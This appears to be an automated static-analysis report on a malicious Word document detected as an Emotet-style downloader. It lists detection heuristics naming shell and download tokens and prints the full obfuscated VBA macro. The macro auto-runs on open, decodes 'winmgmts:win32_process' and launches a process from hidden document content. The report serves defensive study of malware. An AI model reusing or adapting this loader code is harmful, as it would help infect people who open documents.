Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 574b0571299ecc8c…

MALICIOUS

Office (OLE)

167.5 KB Created: 2021-01-22 21:01:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: 2fdfa494b6a6db7ae9798a0625cb6db7 SHA-1: 538b280c91d476bc5e31f70277c43b280cbd63bb SHA-256: 574b0571299ecc8cd1d29c21e48c507277c32ad6cc7803fec2b5261d4471b80d
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Qy6h9fldo9hgr4m = CreateObject(Me4tnt08_js)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16659 bytes
SHA-256: 4906e54c6acc52be5ae600915a28e0821fdbeda648763e8aa746fbd2b31dbdc4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
125 of 207 identifiers look randomly generated (e.g. 'Vo4fs_6thx1iapxpj7'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vo4fs_6thx1iapxpj7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
J078jxtqpxkeg9
End Sub

Attribute VB_Name = "W0f5q2g2f3r6cvf"
    

Attribute VB_Name = "Acb5_u508rt31ub"
Function J078jxtqpxkeg9()
   GoTo pRvrpGID
Set BOGTHFF = lNYpJ
    Dim wpboF, luEFlH, IYnlOGDMW As Long
    Dim IzPEsH As Word.Paragraph
    Dim oQLhb() As Byte
    For Each IzPEsH In Vo4fs_6thx1iapxpj7.Paragraphs
        oQLhb = IzPEsH.Range
        dscc = "sadsaccc" & IzPEsH.Range
        luEFlH = UBound(oQLhb) - 1
        wpboF = 0
Set ZzbqLHJDO = HeUCJAy
        Do Until luEFlH > luEFlH
            If oQLhb(luEFlH) = 46 Or luEFlH = luEFlH Then
                dscc = "sasdsacc" & (wpboF / 2) + 1 & " to " & (luEFlH / 2) + 1 & MidB$(oQLhb, wpboF + 1, luEFlH - wpboF + 3)
                wpboF = luEFlH + 2
            End If
            luEFlH = luEFlH + 2
        Loop
    Next
pRvrpGID:
skuwd = Mo9i3oikm2uo_pxx + Vo4fs_6thx1iapxpj7 _
. _
Content + Jwykw8ejs4puiadp4x
   GoTo JyGUAHDB
Set qwGLII = WSpOU
    Dim ytGPnHEJD, NZnSIc, kHsTNBDDC As Long
    Dim dMSyAeD As Word.Paragraph
    Dim wNqVtC() As Byte
    For Each dMSyAeD In Vo4fs_6thx1iapxpj7.Paragraphs
        wNqVtC = dMSyAeD.Range
        dscc = "sadsaccc" & dMSyAeD.Range
        NZnSIc = UBound(wNqVtC) - 1
        ytGPnHEJD = 0
Set rXSQJ = VXdmsIFCG
        Do Until NZnSIc > NZnSIc
            If wNqVtC(NZnSIc) = 46 Or NZnSIc = NZnSIc Then
                dscc = "sasdsacc" & (ytGPnHEJD / 2) + 1 & " to " & (NZnSIc / 2) + 1 & MidB$(wNqVtC, ytGPnHEJD + 1, NZnSIc - ytGPnHEJD + 3)
                ytGPnHEJD = NZnSIc + 2
            End If
            NZnSIc = NZnSIc + 2
        Loop
    Next
JyGUAHDB:
wjnsc = "x [ sh bpx [ sh b"
Cz1wifbcsj790xb2i = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo TOyODvGEi
Set rQzqBD = EHyeH
    Dim EUpUA, scqNQjF, XwcVDjWGu As Long
    Dim gKaXcsqg As Word.Paragraph
    Dim NLkaIAIFs() As Byte
    For Each gKaXcsqg In Vo4fs_6thx1iapxpj7.Paragraphs
        NLkaIAIFs = gKaXcsqg.Range
        dscc = "sadsaccc" & gKaXcsqg.Range
        scqNQjF = UBound(NLkaIAIFs) - 1
        EUpUA = 0
Set WwxzIA = phCyIA
        Do Until scqNQjF > scqNQjF
            If NLkaIAIFs(scqNQjF) = 46 Or scqNQjF = scqNQjF Then
                dscc = "sasdsacc" & (EUpUA / 2) + 1 & " to " & (scqNQjF / 2) + 1 & MidB$(NLkaIAIFs, EUpUA + 1, scqNQjF - EUpUA + 3)
                EUpUA = scqNQjF + 2
            End If
            scqNQjF = scqNQjF + 2
        Loop
    Next
TOyODvGEi:
Hlidr0aao_k7pb4_ = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo IssioJZA
Set ZVRTG = TKeezZDJH
    Dim GvvTbF, bKAkEAGB, BgqyGHJJ As Long
    Dim NPGiFD As Word.Paragraph
    Dim TlOyhL() As Byte
    For Each NPGiFD In Vo4fs_6thx1iapxpj7.Paragraphs
        TlOyhL = NPGiFD.Range
        dscc = "sadsaccc" & NPGiFD.Range
        bKAkEAGB = UBound(TlOyhL) - 1
        GvvTbF = 0
Set dWsSB = cxWDB
        Do Until bKAkEAGB > bKAkEAGB
            If TlOyhL(bKAkEAGB) = 46 Or bKAkEAGB = bKAkEAGB Then
                dscc = "sasdsacc" & (GvvTbF / 2) + 1 & " to " & (bKAkEAGB / 2) + 1 & MidB$(TlOyhL, GvvTbF + 1, bKAkEAGB - GvvTbF + 3)
                GvvTbF = bKAkEAGB + 2
            End If
            bKAkEAGB = bKAkEAGB + 2
        Loop
    Next
IssioJZA:
Sxgyazbpyq0jvu_s = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo AnxqXF
Set XRAKFDIJw = LhlMEK
    Dim ZHeRDEJQV, pQKfBclf, BpRqIBIE As Long
    Dim hqggFjB As Word.Paragraph
    Dim TysmATBB() As Byte
    For Each hqggFjB In Vo4fs_6thx1iapxpj7.Paragraphs
        TysmATBB = hqggFjB.Range
        dscc = "sadsaccc" & hqggFjB.Range
        pQKfBclf = UBound(TysmATBB) - 1
        ZHeRDEJQV = 0
Set sybabj = BbnPo
        Do Until pQKfBclf > pQKfBclf
            If TysmATBB(pQKfBclf) = 46 Or pQKfBclf = pQKfBclf Then
                dscc = "sasdsacc" & (ZHeRDEJQV / 2) + 1 & " to " & (pQKfBclf / 2) + 1 & MidB$(TysmATBB, ZHeRDEJQV + 1, pQKfBclf - ZHeRDEJQV + 3)
                ZHeRDEJQV = pQKfBclf + 2
            End If
            pQKfBclf = pQKfBclf + 2
        Loop
    Next
AnxqXF:
Jm313fx7fhyq_hca = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo UZrsdbB
Set FSHguFI = DdwJkAO
    Dim FjrNG, vprfl, wJNwUCH As Long
    Dim KYCTHN As Word.Paragraph
    Dim afAxCEH() As Byte
    For Each KYCTHN In Vo4fs_6thx1iapxpj7.Paragraphs
        afAxCEH = KYCTHN.Range
        dscc = "sadsaccc" & KYCTHN.Range
        vprfl = UBound(afAxCEH) - 1
        FjrNG = 0
Set CQcEAD = EbPhb
        Do Until vprfl > vprfl
            If afAxCEH(vprfl) = 46 Or vprfl = vprfl Then
                dscc = "sasdsacc" & (FjrNG / 2) + 1 & " to " & (vprfl / 2) + 1 & MidB$(afAxCEH, FjrNG + 1, vprfl - FjrNG + 3)
                FjrNG = vprfl + 2
            End If
            vprfl = vprfl + 2
        Loop
    Next
UZrsdbB:
Fvc26jizsbn = Sxgyazbpyq0jvu_s + Jm313fx7fhyq_hca + Hlidr0aao_k7pb4_ + wjnsc + Cz1wifbcsj790xb2i
   GoTo CWHupaAez
Set BdoMnAP = mxIPBI
    Dim ZfxIGptDT, sTfMIEbM, COkYLFR As Long
    Dim BddtcI As Word.Paragraph
    Dim sRiRDB() As Byte
    For Each BddtcI In Vo4fs_6thx1iapxpj7.Paragraphs
        sRiRDB = BddtcI.Range
        dscc = "sadsaccc" & BddtcI.Range
        sTfMIEbM = UBound(sRiRDB) - 1
        ZfxIGptDT = 0
Set JrNSJ = LSsiGFK
        Do Until sTfMIEbM > sTfMIEbM
            If sRiRDB(sTfMIEbM) = 46 Or sTfMIEbM = sTfMIEbM Then
                dscc = "sasdsacc" & (ZfxIGptDT / 2) + 1 & " to " & (sTfMIEbM / 2) + 1 & MidB$(sRiRDB, ZfxIGptDT + 1, sTfMIEbM - ZfxIGptDT + 3)
                ZfxIGptDT = sTfMIEbM + 2
            End If
            sTfMIEbM = sTfMIEbM + 2
        Loop
    Next
CWHupaAez:
Me4tnt08_js = Vgrcftl7r0c8(Fvc26jizsbn)
   GoTo bCPjGd
Set oYpHDHGBD = kJPQxF
    Dim bbxJpXJ, EQDVeFE, DKXbIwtUH As Long
    Dim MkrMGEADD As Word.Paragraph
    Dim fdqhdCAJC() As Byte
    For Each MkrMGEADD In Vo4fs_6thx1iapxpj7.Paragraphs
        fdqhdCAJC = MkrMGEADD.Range
        dscc = "sadsaccc" & MkrMGEADD.Range
        EQDVeFE = UBound(fdqhdCAJC) - 1
        bbxJpXJ = 0
Set hGeWkUHDJ = sXfQCsAM
        Do Until EQDVeFE > EQDVeFE
            If fdqhdCAJC(EQDVeFE) = 46 Or EQDVeFE = EQDVeFE Then
                dscc = "sasdsacc" & (bbxJpXJ / 2) + 1 & " to " & (EQDVeFE / 2) + 1 & MidB$(fdqhdCAJC, bbxJpXJ + 1, EQDVeFE - bbxJpXJ + 3)
                bbxJpXJ = EQDVeFE + 2
            End If
            EQDVeFE = EQDVeFE + 2
        Loop
    Next
bCPjGd:
Set Qy6h9fldo9hgr4m = CreateObject(Me4tnt08_js)
   GoTo IxtFZ
Set GegrHkle = wYrxF
    Dim FXbyfHEJ, PlTYJCAB, xQqZohI As Long
    Dim bGbbzkG As Word.Paragraph
    Dim etKsC() As Byte
    For Each bGbbzkG In Vo4fs_6thx1iapxpj7.Paragraphs
        etKsC = bGbbzkG.Range
        dscc = "sadsaccc" & bGbbzkG.Range
        PlTYJCAB = UBound(etKsC) - 1
        FXbyfHEJ = 0
Set qatiDI = ovqDA
        Do Until PlTYJCAB > PlTYJCAB
            If etKsC(PlTYJCAB) = 46 Or PlTYJCAB = PlTYJCAB Then
                dscc = "sasdsacc" & (FXbyfHEJ / 2) + 1 & " to " & (PlTYJCAB / 2) + 1 & MidB$(etKsC, FXbyfHEJ + 1, PlTYJCAB - FXbyfHEJ + 3)
                FXbyfHEJ = PlTYJCAB + 2
            End If
            PlTYJCAB = PlTYJCAB + 2
        Loop
    Next
IxtFZ:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Vgrcftl7r0c8(njcnja)
   GoTo dMinWr
Set RjUBHHJ = EKlsF
    Dim GPRPEgI, jYAxA, MIzfXoHfJ As Long
    Dim joObaLS As Word.Paragraph
    Dim WJyyAdGu() As Byte
    For Each joObaLS In Vo4fs_6thx1iapxpj7.Paragraphs
        WJyyAdGu = joObaLS.Range
        dscc = "sadsaccc" & joObaLS.Range
        jYAxA = UBound(WJyyAdGu) - 1
        GPRPEgI = 0
Set LkKYyiHT = GzIrG
        Do Until jYAxA > jYAxA
            If WJyyAdGu(jYAxA) = 46 Or jYAxA = jYAxA Then
                dscc = "sasdsacc" & (GPRPEgI / 2) + 1 & " to " & (jYAxA / 2) + 1 & MidB$(WJyyAdGu, GPRPEgI + 1, jYAxA - GPRPEgI + 3)
                GPRPEgI = jYAxA + 2
            End If
            jYAxA = jYAxA + 2
        Loop
    Next
dMinWr:
Qy6h9fldo9hgr4m.Create nnjasd, Xix_mgcm3in5viwp, Fphv3_3pbj5efnk6
   GoTo YGgGC
Set pMvRFC = VqtpQjtM
    Dim plhNxCG, PKKLyJ, rRvBv As Long
    Dim dtUGyDn As Word.Paragraph
    Dim RrFEF() As Byte
    For Each dtUGyDn In Vo4fs_6thx1iapxpj7.Paragraphs
        RrFEF = dtUGyDn.Range
        dscc = "sadsaccc" & dtUGyDn.Range
        PKKLyJ = UBound(RrFEF) - 1
        plhNxCG = 0
Set fYJmATJq = aOJmncCr
        Do Until PKKLyJ > PKKLyJ
            If RrFEF(PKKLyJ) = 46 Or PKKLyJ = PKKLyJ Then
                dscc = "sasdsacc" & (plhNxCG / 2) + 1 & " to " & (PKKLyJ / 2) + 1 & MidB$(RrFEF, plhNxCG + 1, PKKLyJ - plhNxCG + 3)
                plhNxCG = PKKLyJ + 2
            End If
            PKKLyJ = PKKLyJ + 2
        Loop
    Next
YGgGC:
End Function
Function Vgrcftl7r0c8(V64dworwut1jqk7z7)
On Error Resume Next
   GoTo jiZCJEEUA
Set zkBnB = RFWGG
    Dim apDmSVh, JHojGBF, fwdBbr As Long
    Dim XkJNI As Word.Paragraph
    Dim wdXHG() As Byte
    For Each XkJNI In Vo4fs_6thx1iapxpj7.Paragraphs
        wdXHG = XkJNI.Range
        dscc = "sadsaccc" & XkJNI.Range
        JHojGBF = UBound(wdXHG) - 1
        apDmSVh = 0
Set uQIqA = VdsWE
        Do Until JHojGBF > JHojGBF
            If wdXHG(JHojGBF) = 46 Or JHojGBF = JHojGBF Then
                dscc = "sasdsacc" & (apDmSVh / 2) + 1 & " to " & (JHojGBF / 2) + 1 & MidB$(wdXHG, apDmSVh + 1, JHojGBF - apDmSVh + 3)
                apDmSVh = JHojGBF + 2
            End If
            JHojGBF = JHojGBF + 2
        Loop
    Next
jiZCJEEUA:
Goaw2i6y_qkvxww3ra = V64dworwut1jqk7z7
   GoTo IZfoFHJBC
Set ULmjDjRFs = HvgGI
    Dim lZwVD, BIkYSDf, UgkgIBTk As Long
    Dim kfJqCCAr As Word.Paragraph
    Dim SeXKIqt() As Byte
    For Each kfJqCCAr In Vo4fs_6thx1iapxpj7.Paragraphs
        SeXKIqt = kfJqCCAr.Range
        dscc = "sadsaccc" & kfJqCCAr.Range
        BIkYSDf = UBound(SeXKIqt) - 1
        lZwVD = 0
Set hZyQe = cjwixJFC
        Do Until BIkYSDf > BIkYSDf
            If SeXKIqt(BIkYSDf) = 46 Or BIkYSDf = BIkYSDf Then
                dscc = "sasdsacc" & (lZwVD / 2) + 1 & " to " & (BIkYSDf / 2) + 1 & MidB$(SeXKIqt, lZwVD + 1, BIkYSDf - lZwVD + 3)
                lZwVD = BIkYSDf + 2
            End If
            BIkYSDf = BIkYSDf + 2
        Loop
    Next
IZfoFHJBC:
Yif243u5174t1x = Ag6_u0wqjtk5zxgg(Goaw2i6y_qkvxww3ra)
   GoTo CsupQJn
Set XnLkHCbCI = fsDjVIMR
    Dim BoYzJG, wHTYEe, ycFrdJEH As Long
    Dim gWVoFGHIp As Word.Paragraph
    Dim qYzXS() As Byte
    For Each gWVoFGHIp In Vo4fs_6thx1iapxpj7.Paragraphs
        qYzXS = gWVoFGHIp.Range
        dscc = "sadsaccc" & gWVoFGHIp.Range
        wHTYEe = UBound(qYzXS) - 1
        BoYzJG = 0
Set MgUBiF = NvPLEHE
        Do Until wHTYEe > wHTYEe
            If qYzXS(wHTYEe) = 46 Or wHTYEe = wHTYEe Then
                dscc = "sasdsacc" & (BoYzJG / 2) + 1 & " to " & (wHTYEe / 2) + 1 & MidB$(qYzXS, BoYzJG + 1, wHTYEe - BoYzJG + 3)
                BoYzJG = wHTYEe + 2
            End If
            wHTYEe = wHTYEe + 2
        Loop
    Next
CsupQJn:
Vgrcftl7r0c8 = Yif243u5174t1x
   GoTo XFwvtB
Set RjpJY = UmTBT
    Dim ysCCnFBGW, ktaJQ, GfIRzH As Long
    Dim nFJEyDA As Word.Paragraph
    Dim yYuFAhH() As Byte
    For Each nFJEyDA In Vo4fs_6thx1iapxpj7.Paragraphs
        yYuFAhH = nFJEyDA.Range
        dscc = "sadsaccc" & nFJEyDA.Range
        ktaJQ = UBound(yYuFAhH) - 1
        ysCCnFBGW = 0
Set kLHnCJJI = SQaIkBcF
        Do Until ktaJQ > ktaJQ
            If yYuFAhH(ktaJQ) = 46 Or ktaJQ = ktaJQ Then
                dscc = "sasdsacc" & (ysCCnFBGW / 2) + 1 & " to " & (ktaJQ / 2) + 1 & MidB$(yYuFAhH, ysCCnFBGW + 1, ktaJQ - ysCCnFBGW + 3)
                ysCCnFBGW = ktaJQ + 2
            End If
            ktaJQ = ktaJQ + 2
        Loop
    Next
XFwvtB:
End Function
Function Ag6_u0wqjtk5zxgg(Yeu93vk_avgmupb0s)
   GoTo VACVIFH
Set KFaAA = gitriHNi
    Dim WPMKc, QpKER, NuQThbAA As Long
    Dim WnZGTG As Word.Paragraph
    Dim GUnjHF() As Byte
    For Each WnZGTG In Vo4fs_6thx1iapxpj7.Paragraphs
        GUnjHF = WnZGTG.Range
        dscc = "sadsaccc" & WnZGTG.Range
        QpKER = UBound(GUnjHF) - 1
        WPMKc = 0
Set HHiEd = mCLsa
        Do Until QpKER > QpKER
            If GUnjHF(QpKER) = 46 Or QpKER = QpKER Then
                dscc = "sasdsacc" & (WPMKc / 2) + 1 & " to " & (QpKER / 2) + 1 & MidB$(GUnjHF, WPMKc + 1, QpKER - WPMKc + 3)
                WPMKc = QpKER + 2
            End If
            QpKER = QpKER + 2
        Loop
    Next
VACVIFH:
   GoTo IwHnLExiE
Set UOpVw = EfJwGIA
    Dim kwwylAro, fnWeUG, HgvOQCGE As Long
    Dim mRBaOUP As Word.Paragraph
    Dim cLDIJNUiI() As Byte
    For Each mRBaOUP In Vo4fs_6thx1iapxpj7.Paragraphs
        cLDIJNUiI = mRBaOUP.Range
        dscc = "sadsaccc" & mRBaOUP.Range
        fnWeUG = UBound(cLDIJNUiI) - 1
        kwwylAro = 0
Set OEASsBFD = QNDuAIDEZ
        Do Until fnWeUG > fnWeUG
            If cLDIJNUiI(fnWeUG) = 46 Or fnWeUG = fnWeUG Then
                dscc = "sasdsacc" & (kwwylAro / 2) + 1 & " to " & (fnWeUG / 2) + 1 & MidB$(cLDIJNUiI, kwwylAro + 1, fnWeUG - kwwylAro + 3)
                kwwylAro = fnWeUG + 2
            End If
            fnWeUG = fnWeUG + 2
        Loop
    Next
IwHnLExiE:
   GoTo iLNgVQAG
Set PRGGX = PrmsGIGmB
    Dim bqsEO, KtUWkrQJY, PhlrbR As Long
    Dim rheAq As Word.Paragraph
    Dim xJFmC() As Byte
    For Each rheAq In Vo4fs_6thx1iapxpj7.Paragraphs
        xJFmC = rheAq.Range
        dscc = "sadsaccc" & rheAq.Range
        KtUWkrQJY = UBound(xJFmC) - 1
        bqsEO = 0
Set UVIQGE = WvEnJIEz
        Do Until KtUWkrQJY > KtUWkrQJY
            If xJFmC(KtUWkrQJY) = 46 Or KtUWkrQJY = KtUWkrQJY Then
                dscc = "sasdsacc" & (bqsEO / 2) + 1 & " to " & (KtUWkrQJY / 2) + 1 & MidB$(xJFmC, bqsEO + 1, KtUWkrQJY - bqsEO + 3)
                bqsEO = KtUWkrQJY + 2
            End If
            KtUWkrQJY = KtUWkrQJY + 2
        Loop
    Next
iLNgVQAG:
Ag6_u0wqjtk5zxgg = Replace(Yeu93vk_avgmupb0s, "x [ sh b", Qvkifq29sy7qq)
   GoTo XDuUBJfr
Set ayWxHTa = YGrXCGH
    Dim NJfCPZlI, dkhOF, MheiIvB As Long
    Dim XepxJwnB As Word.Paragraph
    Dim kKkYgCGH() As Byte
    For Each XepxJwnB In Vo4fs_6thx1iapxpj7.Paragraphs
        kKkYgCGH = XepxJwnB.Range
        dscc = "sadsaccc" & XepxJwnB.Range
        dkhOF = UBound(kKkYgCGH) - 1
        NJfCPZlI = 0
Set JMInwDLy = PQVZFyDGl
        Do Until dkhOF > dkhOF
            If kKkYgCGH(dkhOF) = 46 Or dkhOF = dkhOF Then
                dscc = "sasdsacc" & (NJfCPZlI / 2) + 1 & " to " & (dkhOF / 2) + 1 & MidB$(kKkYgCGH, NJfCPZlI + 1, dkhOF - NJfCPZlI + 3)
                NJfCPZlI = dkhOF + 2
            End If
            dkhOF = dkhOF + 2
        Loop
    Next
XDuUBJfr:
   GoTo ZjrJCLoF
Set tkwcPhuv = LtYZAEHcZ
    Dim lvgDCDb, vMJfAEGJk, xqPRpL As Long
    Dim BIOBsR As Word.Paragraph
    Dim wBULW() As Byte
    For Each BIOBsR In Vo4fs_6thx1iapxpj7.Paragraphs
        wBULW = BIOBsR.Range
        dscc = "sadsaccc" & BIOBsR.Range
        vMJfAEGJk = UBound(wBULW) - 1
        lvgDCDb = 0
Set fhmsp = QtzCvHEFA
        Do Until vMJfAEGJk > vMJfAEGJk
            If wBULW(vMJfAEGJk) = 46 Or vMJfAEGJk = vMJfAEGJk Then
                dscc = "sasdsacc" & (lvgDCDb / 2) + 1 & " to " & (vMJfAEGJk / 2) + 1 & MidB$(wBULW, lvgDCDb + 1, vMJfAEGJk - lvgDCDb + 3)
                lvgDCDb = vMJfAEGJk + 2
            End If
            vMJfAEGJk = vMJfAEGJk + 2
        Loop
    Next
ZjrJCLoF:
   GoTo iLwiJIw
Set YwAGGuRJg = xCeJnF
    Dim JeIurHAG, qYNpEEGm, UOENWEIa As Long
    Dim babqJU As Word.Paragraph
    Dim YmDOy() As Byte
    For Each babqJU In Vo4fs_6thx1iapxpj7.Paragraphs
        YmDOy = babqJU.Range
        dscc = "sadsaccc" & babqJU.Range
        qYNpEEGm = UBound(YmDOy) - 1
        JeIurHAG = 0
Set couypAmt = AkfRJtwS
        Do Until qYNpEEGm > qYNpEEGm
            If YmDOy(qYNpEEGm) = 46 Or qYNpEEGm = qYNpEEGm Then
                dscc = "sasdsacc" & (JeIurHAG / 2) + 1 & " to " & (qYNpEEGm / 2) + 1 & MidB$(YmDOy, JeIurHAG + 1, qYNpEEGm - JeIurHAG + 3)
                JeIurHAG = qYNpEEGm + 2
            End If
            qYNpEEGm = qYNpEEGm + 2
        Loop
    Next
iLwiJIw:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.